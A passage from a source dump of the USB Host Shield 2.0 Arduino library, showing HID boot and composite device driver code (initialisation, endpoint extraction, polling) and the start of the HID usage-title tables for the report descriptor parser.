USBTRACE2("PROTOCOL SET HID_BOOT rcode:", rcode); rcode = SetIdle(i, 0, 0); USBTRACE2("SET_IDLE rcode:", rcode); // if(rcode) goto FailSetIdle; This can fail. // Get the RPIPE and just throw it away. SinkParser sink; rcode = GetReportDescr(i, &sink); USBTRACE2("RPIPE rcode:", rcode); } // Get RPIPE and throw it away. if(BOOT_PROTOCOL & USB_HID_PROTOCOL_KEYBOARD) { // Wake keyboard interface by twinkling up to 5 LEDs that are in the spec. // kana, compose, scroll, caps, num rcode = 0x20; // Reuse rcode. while(rcode) { rcode >>= 1; // Ignore any error returned, we don't care if LED is not supported SetReport(0, 0, 2, 0, 1, &rcode); // Eventually becomes zero (All off) delay(25); } } USBTRACE("BM configured\r\n"); bPollEnable = true; return 0; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif //FailSetDevTblEntry: //#ifdef DEBUG_USB_HOST // NotifyFailSetDevTblEntry(); // goto Fail; //#endif //FailGetConfDescr: //#ifdef DEBUG_USB_HOST // NotifyFailGetConfDescr(); // goto Fail; //#endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailSetProtocol: #ifdef DEBUG_USB_HOST USBTRACE("SetProto:"); goto Fail; #endif //FailSetIdle: //#ifdef DEBUG_USB_HOST // USBTRACE("SetIdle:"); //#endif Fail: #ifdef DEBUG_USB_HOST NotifyFail(rcode); #endif Release(); return rcode; } template void HIDBoot::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) { // If the first configuration satisfies, the others are not considered. //if(bNumEP > 1 && conf != bConfNum) if(bNumEP == totalEndpoints(BOOT_PROTOCOL)) return; bConfNum = conf; bIfaceNum = iface; if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) { if(pep->bInterval > bInterval) bInterval = pep->bInterval; // Fill in the endpoint info structure epInfo[bNumEP].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[bNumEP].maxPktSize = (uint8_t)pep->wMaxPacketSize; epInfo[bNumEP].bmSndToggle = 0; epInfo[bNumEP].bmRcvToggle = 0; epInfo[bNumEP].bmNakPower = USB_NAK_NOWAIT; bNumEP++; } } template uint8_t HIDBoot::Release() { pUsb->GetAddressPool().FreeAddress(bAddress); bConfNum = 0; bIfaceNum = 0; bNumEP = 1; bAddress = 0; qNextPollTime = 0; bPollEnable = false; return 0; } template uint8_t HIDBoot::Poll() { uint8_t rcode = 0; if(bPollEnable && ((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L)) { // To-do: optimize manually, using the for loop only if needed. for(int i = 0; i < epMUL(BOOT_PROTOCOL); i++) { const uint16_t const_buff_len = 16; uint8_t buf[const_buff_len]; USBTRACE3("(hidboot.h) i=", i, 0x81); USBTRACE3("(hidboot.h) epInfo[epInterruptInIndex + i].epAddr=", epInfo[epInterruptInIndex + i].epAddr, 0x81); USBTRACE3("(hidboot.h) epInfo[epInterruptInIndex + i].maxPktSize=", epInfo[epInterruptInIndex + i].maxPktSize, 0x81); uint16_t read = (uint16_t)epInfo[epInterruptInIndex + i].maxPktSize; rcode = pUsb->inTransfer(bAddress, epInfo[epInterruptInIndex + i].epAddr, &read, buf); // SOME buggy dongles report extra keys (like sleep) using a 2 byte packet on the wrong endpoint. // Since keyboard and mice must report at least 3 bytes, we ignore the extra data. if(!rcode && read > 2) { if(pRptParser[i]) pRptParser[i]->Parse((USBHID*)this, 0, (uint8_t)read, buf); #ifdef DEBUG_USB_HOST // We really don't care about errors and anomalies unless we are debugging. } else { if(rcode != hrNAK) { USBTRACE3("(hidboot.h) Poll:", rcode, 0x81); } if(!rcode && read) { USBTRACE3("(hidboot.h) Strange read count: ", read, 0x80); USBTRACE3("(hidboot.h) Interface:", i, 0x80); } } if(!rcode && read && (UsbDEBUGlvl > 0x7f)) { for(uint8_t i = 0; i < read; i++) { PrintHex (buf[i], 0x80); USBTRACE1(" ", 0x80); } if(read) USBTRACE1("\r\n", 0x80); #endif } } qNextPollTime = (uint32_t)millis() + bInterval; } return rcode; } #endif // __HIDBOOTMOUSE_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/hidcomposite.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "hidcomposite.h" HIDComposite::HIDComposite(USB *p) : USBHID(p), qNextPollTime(0), pollInterval(0), bPollEnable(false), bHasReportId(false) { Initialize(); if(pUsb) pUsb->RegisterDeviceClass(this); } uint16_t HIDComposite::GetHidClassDescrLen(uint8_t type, uint8_t num) { for(uint8_t i = 0, n = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) { if(descrInfo[i].bDescrType == type) { if(n == num) return descrInfo[i].wDescriptorLength; n++; } } return 0; } void HIDComposite::Initialize() { for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) { rptParsers[i].rptId = 0; rptParsers[i].rptParser = NULL; } for(uint8_t i = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) { descrInfo[i].bDescrType = 0; descrInfo[i].wDescriptorLength = 0; } for(uint8_t i = 0; i < maxHidInterfaces; i++) { hidInterfaces[i].bmInterface = 0; hidInterfaces[i].bmProtocol = 0; for(uint8_t j = 0; j < maxEpPerInterface; j++) hidInterfaces[i].epIndex[j] = 0; } for(uint8_t i = 0; i < totalEndpoints; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } bNumEP = 1; bNumIface = 0; bConfNum = 0; pollInterval = 0; } bool HIDComposite::SetReportParser(uint8_t id, HIDReportParser *prs) { for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) { if(rptParsers[i].rptId == 0 && rptParsers[i].rptParser == NULL) { rptParsers[i].rptId = id; rptParsers[i].rptParser = prs; return true; } } return false; } HIDReportParser* HIDComposite::GetReportParser(uint8_t id) { if(!bHasReportId) return ((rptParsers[0].rptParser) ? rptParsers[0].rptParser : NULL); for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) { if(rptParsers[i].rptId == id) return rptParsers[i].rptParser; } return NULL; } uint8_t HIDComposite::Init(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t len = 0; uint8_t num_of_conf; // number of configurations //uint8_t num_of_intf; // number of interfaces AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("HU Init\r\n"); if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf); if(!rcode) len = (buf[0] > constBufSize) ? constBufSize : buf[0]; if(rcode) { // Restore p->epinfo p->epinfo = oldep_ptr; goto FailGetDevDescr; } // Restore p->epinfo p->epinfo = oldep_ptr; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } //delay(2); //per USB 2.0 sect.9.2.6.3 USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; if(len) rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf); if(rcode) goto FailGetDevDescr; VID = udd->idVendor; // Can be used by classes that inherits this class to check the VID and PID of the connected device PID = udd->idProduct; num_of_conf = udd->bNumConfigurations; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; USBTRACE2("NC:", num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { //HexDumper HexDump; ConfigDescParser confDescrParser(this); //rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump); rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); if(rcode) goto FailGetConfDescr; if(bNumEP > 1) break; } // for if(bNumEP < 2) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); USBTRACE2("Cnf:", bConfNum); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; USBTRACE2("NumIface:", bNumIface); for(uint8_t i = 0; i < bNumIface; i++) { if(hidInterfaces[i].epIndex[epInterruptInIndex] == 0) continue; USBTRACE2("SetIdle:", hidInterfaces[i].bmInterface); rcode = SetIdle(hidInterfaces[i].bmInterface, 0, 0); if(rcode && rcode != hrSTALL) goto FailSetIdle; } USBTRACE("HU configured\r\n"); OnInitSuccessful(); bPollEnable = true; return 0; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailSetIdle: #ifdef DEBUG_USB_HOST USBTRACE("SetIdle:"); #endif #ifdef DEBUG_USB_HOST Fail: NotifyFail(rcode); #endif Release(); return rcode; } HIDComposite::HIDInterface* HIDComposite::FindInterface(uint8_t iface, uint8_t alt, uint8_t proto) { for(uint8_t i = 0; i < bNumIface && i < maxHidInterfaces; i++) if(hidInterfaces[i].bmInterface == iface && hidInterfaces[i].bmAltSet == alt && hidInterfaces[i].bmProtocol == proto) return hidInterfaces + i; return NULL; } void HIDComposite::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) { //ErrorMessage(PSTR("\r\nConf.Val"), conf); //ErrorMessage(PSTR("Iface Num"), iface); //ErrorMessage(PSTR("Alt.Set"), alt); bConfNum = conf; uint8_t index = 0; HIDInterface *piface = FindInterface(iface, alt, proto); // Fill in interface structure in case of new interface if(!piface) { piface = hidInterfaces + bNumIface; piface->bmInterface = iface; piface->bmAltSet = alt; piface->bmProtocol = proto; bNumIface++; } if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT) index = (pep->bEndpointAddress & 0x80) == 0x80 ? epInterruptInIndex : epInterruptOutIndex; if(!SelectInterface(iface, proto)) index = 0; if(index) { // Fill in the endpoint info structure epInfo[bNumEP].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[bNumEP].maxPktSize = (uint8_t)pep->wMaxPacketSize; epInfo[bNumEP].bmSndToggle = 0; epInfo[bNumEP].bmRcvToggle = 0; epInfo[bNumEP].bmNakPower = USB_NAK_NOWAIT; // Fill in the endpoint index list piface->epIndex[index] = bNumEP; //(pep->bEndpointAddress & 0x0F); if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints pollInterval = pep->bInterval; bNumEP++; } } uint8_t HIDComposite::Release() { pUsb->GetAddressPool().FreeAddress(bAddress); bNumEP = 1; bAddress = 0; qNextPollTime = 0; bPollEnable = false; return 0; } void HIDComposite::ZeroMemory(uint8_t len, uint8_t *buf) { for(uint8_t i = 0; i < len; i++) buf[i] = 0; } uint8_t HIDComposite::Poll() { uint8_t rcode = 0; if(!bPollEnable) return 0; if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { qNextPollTime = (uint32_t)millis() + pollInterval; uint8_t buf[constBuffLen]; for(uint8_t i = 0; i < bNumIface; i++) { uint8_t index = hidInterfaces[i].epIndex[epInterruptInIndex]; if (index == 0) continue; uint16_t read = (uint16_t)epInfo[index].maxPktSize; ZeroMemory(constBuffLen, buf); uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[index].epAddr, &read, buf); if(rcode) { if(rcode != hrNAK) USBTRACE3("(hidcomposite.h) Poll:", rcode, 0x81); continue; } if(read == 0) continue; if(read > constBuffLen) read = constBuffLen; #if 0 Notify(PSTR("\r\nBuf: "), 0x80); for(uint8_t i = 0; i < read; i++) { D_PrintHex (buf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif ParseHIDData(this, epInfo[index].epAddr, bHasReportId, (uint8_t)read, buf); HIDReportParser *prs = GetReportParser(((bHasReportId) ? *buf : 0)); if(prs) prs->Parse(this, bHasReportId, (uint8_t)read, buf); } } return rcode; } // Send a report to interrupt out endpoint. This is NOT SetReport() request! uint8_t HIDComposite::SndRpt(uint16_t nbytes, uint8_t *dataptr) { return pUsb->outTransfer(bAddress, epInfo[epInterruptOutIndex].epAddr, nbytes, dataptr); } ================================================ FILE: libraries/USB_Host_Shield_2.0/hidcomposite.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__HIDCOMPOSITE_H__) #define __HIDCOMPOSITE_H__ #include "usbhid.h" //#include "hidescriptorparser.h" class HIDComposite : public USBHID { struct ReportParser { uint8_t rptId; HIDReportParser *rptParser; } rptParsers[MAX_REPORT_PARSERS]; // HID class specific descriptor type and length info obtained from HID descriptor HID_CLASS_DESCRIPTOR_LEN_AND_TYPE descrInfo[HID_MAX_HID_CLASS_DESCRIPTORS]; // Returns HID class specific descriptor length by its type and order number uint16_t GetHidClassDescrLen(uint8_t type, uint8_t num); struct HIDInterface { struct { uint8_t bmInterface : 3; uint8_t bmAltSet : 3; uint8_t bmProtocol : 2; }; uint8_t epIndex[maxEpPerInterface]; }; uint8_t bConfNum; // configuration number uint8_t bNumIface; // number of interfaces in the configuration uint8_t bNumEP; // total number of EP in the configuration uint32_t qNextPollTime; // next poll time uint8_t pollInterval; bool bPollEnable; // poll enable flag static const uint16_t constBuffLen = 64; // event buffer length void Initialize(); HIDInterface* FindInterface(uint8_t iface, uint8_t alt, uint8_t proto); void ZeroMemory(uint8_t len, uint8_t *buf); protected: EpInfo epInfo[totalEndpoints]; HIDInterface hidInterfaces[maxHidInterfaces]; bool bHasReportId; uint16_t PID, VID; // PID and VID of connected device // HID implementation HIDReportParser* GetReportParser(uint8_t id); virtual uint8_t OnInitSuccessful() { return 0; }; virtual void ParseHIDData(USBHID *hid __attribute__((unused)), uint8_t ep __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf __attribute__((unused))) { return; }; public: HIDComposite(USB *p); // HID implementation bool SetReportParser(uint8_t id, HIDReportParser *prs); // USBDeviceConfig implementation uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); uint8_t Poll(); virtual uint8_t GetAddress() { return bAddress; }; virtual bool isReady() { return bPollEnable; }; // UsbConfigXtracter implementation void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); // Send report - do not mix with SetReport()! uint8_t SndRpt(uint16_t nbytes, uint8_t *dataptr); // Returns true if we should listen on an interface, false if not virtual bool SelectInterface(uint8_t iface, uint8_t proto) = 0; }; #endif // __HIDCOMPOSITE_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/hidescriptorparser.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "hidescriptorparser.h" const char * const ReportDescParserBase::usagePageTitles0[] PROGMEM = { pstrUsagePageGenericDesktopControls, pstrUsagePageSimulationControls, pstrUsagePageVRControls, pstrUsagePageSportControls, pstrUsagePageGameControls, pstrUsagePageGenericDeviceControls, pstrUsagePageKeyboardKeypad, pstrUsagePageLEDs, pstrUsagePageButton, pstrUsagePageOrdinal, pstrUsagePageTelephone, pstrUsagePageConsumer, pstrUsagePageDigitizer, pstrUsagePagePID, pstrUsagePageUnicode }; const char * const ReportDescParserBase::usagePageTitles1[] PROGMEM = { pstrUsagePageBarCodeScanner, pstrUsagePageScale, pstrUsagePageMSRDevices, pstrUsagePagePointOfSale, pstrUsagePageCameraControl, pstrUsagePageArcade }; const char * const ReportDescParserBase::genDesktopTitles0[] PROGMEM = { pstrUsagePointer, pstrUsageMouse, pstrUsageJoystick, pstrUsageGamePad, pstrUsageKeyboard, pstrUsageKeypad, pstrUsageMultiAxisController, pstrUsageTabletPCSystemControls }; const char * const ReportDescParserBase::genDesktopTitles1[] PROGMEM = { pstrUsageX, pstrUsageY, pstrUsageZ, pstrUsageRx, pstrUsageRy, pstrUsageRz, pstrUsageSlider, pstrUsageDial, pstrUsageWheel, pstrUsageHatSwitch, pstrUsageCountedBuffer, pstrUsageByteCount, pstrUsageMotionWakeup, pstrUsageStart, pstrUsageSelect, pstrUsagePageReserved, pstrUsageVx, pstrUsageVy, pstrUsageVz, pstrUsageVbrx, pstrUsageVbry, pstrUsageVbrz, pstrUsageVno, pstrUsageFeatureNotification, pstrUsageResolutionMultiplier }; const char * const ReportDescParserBase::genDesktopTitles2[] PROGMEM = { pstrUsageSystemControl, pstrUsageSystemPowerDown, pstrUsageSystemSleep, pstrUsageSystemWakeup, pstrUsageSystemContextMenu, pstrUsageSystemMainMenu, pstrUsageSystemAppMenu, pstrUsageSystemMenuHelp, pstrUsageSystemMenuExit, pstrUsageSystemMenuSelect, pstrUsageSystemMenuRight, pstrUsageSystemMenuLeft, pstrUsageSystemMenuUp, pstrUsageSystemMenuDown, pstrUsageSystemColdRestart, pstrUsageSystemWarmRestart, pstrUsageDPadUp, pstrUsageDPadDown, pstrUsageDPadRight, pstrUsageDPadLeft }; const char * const ReportDescParserBase::genDesktopTitles3[] PROGMEM = { pstrUsageSystemDock, pstrUsageSystemUndock, pstrUsageSystemSetup, pstrUsageSystemBreak, pstrUsageSystemDebuggerBreak, pstrUsageApplicationBreak, pstrUsageApplicationDebuggerBreak, pstrUsageSystemSpeakerMute, pstrUsageSystemHibernate }; const char * const ReportDescParserBase::genDesktopTitles4[] PROGMEM = { pstrUsageSystemDisplayInvert, pstrUsageSystemDisplayInternal, pstrUsageSystemDisplayExternal, pstrUsageSystemDisplayBoth, pstrUsageSystemDisplayDual, pstrUsageSystemDisplayToggleIntExt, pstrUsageSystemDisplaySwapPriSec, pstrUsageSystemDisplayLCDAutoscale }; const char * const ReportDescParserBase::simuTitles0[] PROGMEM = { pstrUsageFlightSimulationDevice, pstrUsageAutomobileSimulationDevice, pstrUsageTankSimulationDevice, pstrUsageSpaceshipSimulationDevice, pstrUsageSubmarineSimulationDevice, pstrUsageSailingSimulationDevice, pstrUsageMotocicleSimulationDevice, pstrUsageSportsSimulationDevice, pstrUsageAirplaneSimulationDevice, pstrUsageHelicopterSimulationDevice, pstrUsageMagicCarpetSimulationDevice, pstrUsageBicycleSimulationDevice }; const char * const ReportDescParserBase::simuTitles1[] PROGMEM = { pstrUsageFlightControlStick, pstrUsageFlightStick, pstrUsageCyclicControl, pstrUsageCyclicTrim, pstrUsageFlightYoke, pstrUsageTrackControl }; const char * const ReportDescParserBase::simuTitles2[] PROGMEM = { pstrUsageAileron, pstrUsageAileronTrim, pstrUsageAntiTorqueControl, pstrUsageAutopilotEnable, pstrUsageChaffRelease, pstrUsageCollectiveControl, pstrUsageDiveBrake, pstrUsageElectronicCountermeasures, pstrUsageElevator, pstrUsageElevatorTrim, pstrUsageRudder, pstrUsageThrottle, pstrUsageFlightCommunications, pstrUsageFlareRelease, pstrUsageLandingGear, pstrUsageToeBrake, pstrUsageTrigger, pstrUsageWeaponsArm, pstrUsageWeaponsSelect, pstrUsageWingFlaps, pstrUsageAccelerator, pstrUsageBrake, pstrUsageClutch, pstrUsageShifter, pstrUsageSteering, pstrUsageTurretDirection, pstrUsageBarrelElevation, pstrUsageDivePlane, pstrUsageBallast, pstrUsageBicycleCrank, pstrUsageHandleBars, pstrUsageFrontBrake, pstrUsageRearBrake }; const char * const ReportDescParserBase::vrTitles0[] PROGMEM = { pstrUsageBelt, pstrUsageBodySuit, pstrUsageFlexor, pstrUsageGlove, pstrUsageHeadTracker, pstrUsageHeadMountedDisplay, pstrUsageHandTracker, pstrUsageOculometer, pstrUsageVest, pstrUsageAnimatronicDevice }; const char * const ReportDescParserBase::vrTitles1[] PROGMEM = { pstrUsageStereoEnable, pstrUsageDisplayEnable }; const char * const ReportDescParserBase::sportsCtrlTitles0[] PROGMEM = { pstrUsageBaseballBat, pstrUsageGolfClub, pstrUsageRowingMachine, pstrUsageTreadmill }; const char * const ReportDescParserBase::sportsCtrlTitles1[] PROGMEM = { pstrUsageOar, pstrUsageSlope, pstrUsageRate, pstrUsageStickSpeed, pstrUsageStickFaceAngle, pstrUsageStickHeelToe, pstrUsageStickFollowThough, pstrUsageStickTempo, pstrUsageStickType, pstrUsageStickHeight }; const char * const ReportDescParserBase::sportsCtrlTitles2[] PROGMEM = { pstrUsagePutter, pstrUsage1Iron, pstrUsage2Iron, pstrUsage3Iron, pstrUsage4Iron, pstrUsage5Iron, pstrUsage6Iron, pstrUsage7Iron, pstrUsage8Iron, pstrUsage9Iron, pstrUsage10Iron, pstrUsage11Iron, pstrUsageSandWedge, pstrUsageLoftWedge, pstrUsagePowerWedge, pstrUsage1Wood, pstrUsage3Wood, pstrUsage5Wood, pstrUsage7Wood, pstrUsage9Wood }; const char * const ReportDescParserBase::gameTitles0[] PROGMEM = { pstrUsage3DGameController, pstrUsagePinballDevice, pstrUsageGunDevice }; const char * const ReportDescParserBase::gameTitles1[] PROGMEM = { pstrUsagePointOfView, pstrUsageTurnRightLeft, pstrUsagePitchForwardBackward, pstrUsageRollRightLeft, pstrUsageMoveRightLeft, pstrUsageMoveForwardBackward, pstrUsageMoveUpDown, pstrUsageLeanRightLeft, pstrUsageLeanForwardBackward, pstrUsageHeightOfPOV, pstrUsageFlipper, pstrUsageSecondaryFlipper, pstrUsageBump, pstrUsageNewGame, pstrUsageShootBall, pstrUsagePlayer, pstrUsageGunBolt, pstrUsageGunClip, pstrUsageGunSelector, pstrUsageGunSingleShot, pstrUsageGunBurst, pstrUsageGunAutomatic, pstrUsageGunSafety, pstrUsageGamepadFireJump, pstrUsageGamepadTrigger }; const char * const ReportDescParserBase::genDevCtrlTitles[] PROGMEM = { pstrUsageBatteryStrength, pstrUsageWirelessChannel, pstrUsageWirelessID, pstrUsageDiscoverWirelessControl, pstrUsageSecurityCodeCharEntered, pstrUsageSecurityCodeCharErased, pstrUsageSecurityCodeCleared }; const char * const ReportDescParserBase::ledTitles[] PROGMEM = { pstrUsageNumLock, pstrUsageCapsLock, pstrUsageScrollLock, pstrUsageCompose, pstrUsageKana, pstrUsagePower, pstrUsageShift, pstrUsageDoNotDisturb, pstrUsageMute, pstrUsageToneEnable, pstrUsageHighCutFilter, pstrUsageLowCutFilter, pstrUsageEqualizerEnable, pstrUsageSoundFieldOn, pstrUsageSurroundOn, pstrUsageRepeat, pstrUsageStereo, pstrUsageSamplingRateDetect, pstrUsageSpinning, pstrUsageCAV, pstrUsageCLV, pstrUsageRecordingFormatDetect, pstrUsageOffHook, pstrUsageRing, pstrUsageMessageWaiting, pstrUsageDataMode, pstrUsageBatteryOperation, pstrUsageBatteryOK, pstrUsageBatteryLow, pstrUsageSpeaker, pstrUsageHeadSet, pstrUsageHold, pstrUsageMicrophone, pstrUsageCoverage, pstrUsageNightMode, pstrUsageSendCalls, pstrUsageCallPickup, pstrUsageConference, pstrUsageStandBy, pstrUsageCameraOn, pstrUsageCameraOff, pstrUsageOnLine, pstrUsageOffLine, pstrUsageBusy, pstrUsageReady, pstrUsagePaperOut, pstrUsagePaperJam, pstrUsageRemote, pstrUsageForward, pstrUsageReverse, pstrUsageStop, pstrUsageRewind, pstrUsageFastForward, pstrUsagePlay, pstrUsagePause, pstrUsageRecord, pstrUsageError, pstrUsageSelectedIndicator, pstrUsageInUseIndicator, pstrUsageMultiModeIndicator, pstrUsageIndicatorOn, pstrUsageIndicatorFlash, pstrUsageIndicatorSlowBlink, pstrUsageIndicatorFastBlink, pstrUsageIndicatorOff, pstrUsageFlashOnTime, pstrUsageSlowBlinkOnTime, pstrUsageSlowBlinkOffTime, pstrUsageFastBlinkOnTime, pstrUsageFastBlinkOffTime, pstrUsageIndicatorColor, pstrUsageIndicatorRed, pstrUsageIndicatorGreen, pstrUsageIndicatorAmber, pstrUsageGenericIndicator, pstrUsageSystemSuspend, pstrUsageExternalPowerConnected }; const char * const ReportDescParserBase::telTitles0 [] PROGMEM = { pstrUsagePhone, pstrUsageAnsweringMachine, pstrUsageMessageControls, pstrUsageHandset, pstrUsageHeadset, pstrUsageTelephonyKeyPad, pstrUsageProgrammableButton }; const char * const ReportDescParserBase::telTitles1 [] PROGMEM = { pstrUsageHookSwitch, pstrUsageFlash, pstrUsageFeature, pstrUsageHold, pstrUsageRedial, pstrUsageTransfer, pstrUsageDrop, pstrUsagePark, pstrUsageForwardCalls, pstrUsageAlternateFunction, pstrUsageLine, pstrUsageSpeakerPhone, pstrUsageConference, pstrUsageRingEnable, pstrUsageRingSelect, pstrUsagePhoneMute, pstrUsageCallerID, pstrUsageSend }; const char * const ReportDescParserBase::telTitles2 [] PROGMEM = { pstrUsageSpeedDial, pstrUsageStoreNumber, pstrUsageRecallNumber, pstrUsagePhoneDirectory }; const char * const ReportDescParserBase::telTitles3 [] PROGMEM = { pstrUsageVoiceMail, pstrUsageScreenCalls, pstrUsageDoNotDisturb, pstrUsageMessage, pstrUsageAnswerOnOff }; const char * const ReportDescParserBase::telTitles4 [] PROGMEM = { pstrUsageInsideDialTone, pstrUsageOutsideDialTone, pstrUsageInsideRingTone, pstrUsageOutsideRingTone, pstrUsagePriorityRingTone, pstrUsageInsideRingback, pstrUsagePriorityRingback, pstrUsageLineBusyTone, pstrUsageReorderTone, pstrUsageCallWaitingTone, pstrUsageConfirmationTone1, pstrUsageConfirmationTone2, pstrUsageTonesOff, pstrUsageOutsideRingback, pstrUsageRinger }; const char * const ReportDescParserBase::telTitles5 [] PROGMEM = { pstrUsagePhoneKey0, pstrUsagePhoneKey1, pstrUsagePhoneKey2, pstrUsagePhoneKey3, pstrUsagePhoneKey4, pstrUsagePhoneKey5, pstrUsagePhoneKey6, pstrUsagePhoneKey7, pstrUsagePhoneKey8, pstrUsagePhoneKey9, pstrUsagePhoneKeyStar, pstrUsagePhoneKeyPound, pstrUsagePhoneKeyA, pstrUsagePhoneKeyB, pstrUsagePhoneKeyC, pstrUsagePhoneKeyD }; const char * const ReportDescParserBase::consTitles0[] PROGMEM = { pstrUsageConsumerControl, pstrUsageNumericKeyPad, pstrUsageProgrammableButton, pstrUsageMicrophone, pstrUsageHeadphone, pstrUsageGraphicEqualizer }; const char * const ReportDescParserBase::consTitles1[] PROGMEM = { pstrUsagePlus10, pstrUsagePlus100, pstrUsageAMPM }; const char * const ReportDescParserBase::consTitles2[] PROGMEM = { pstrUsagePower, pstrUsageReset, pstrUsageSleep, pstrUsageSleepAfter, pstrUsageSleepMode, pstrUsageIllumination, pstrUsageFunctionButtons }; const char * const ReportDescParserBase::consTitles3[] PROGMEM = { pstrUsageMenu, pstrUsageMenuPick, pstrUsageMenuUp, pstrUsageMenuDown, pstrUsageMenuLeft, pstrUsageMenuRight, pstrUsageMenuEscape, pstrUsageMenuValueIncrease, pstrUsageMenuValueDecrease }; const char * const ReportDescParserBase::consTitles4[] PROGMEM = { pstrUsageDataOnScreen, pstrUsageClosedCaption, pstrUsageClosedCaptionSelect, pstrUsageVCRTV, pstrUsageBroadcastMode, pstrUsageSnapshot, pstrUsageStill }; const char * const ReportDescParserBase::consTitles5[] PROGMEM = { pstrUsageSelection, pstrUsageAssignSelection, pstrUsageModeStep, 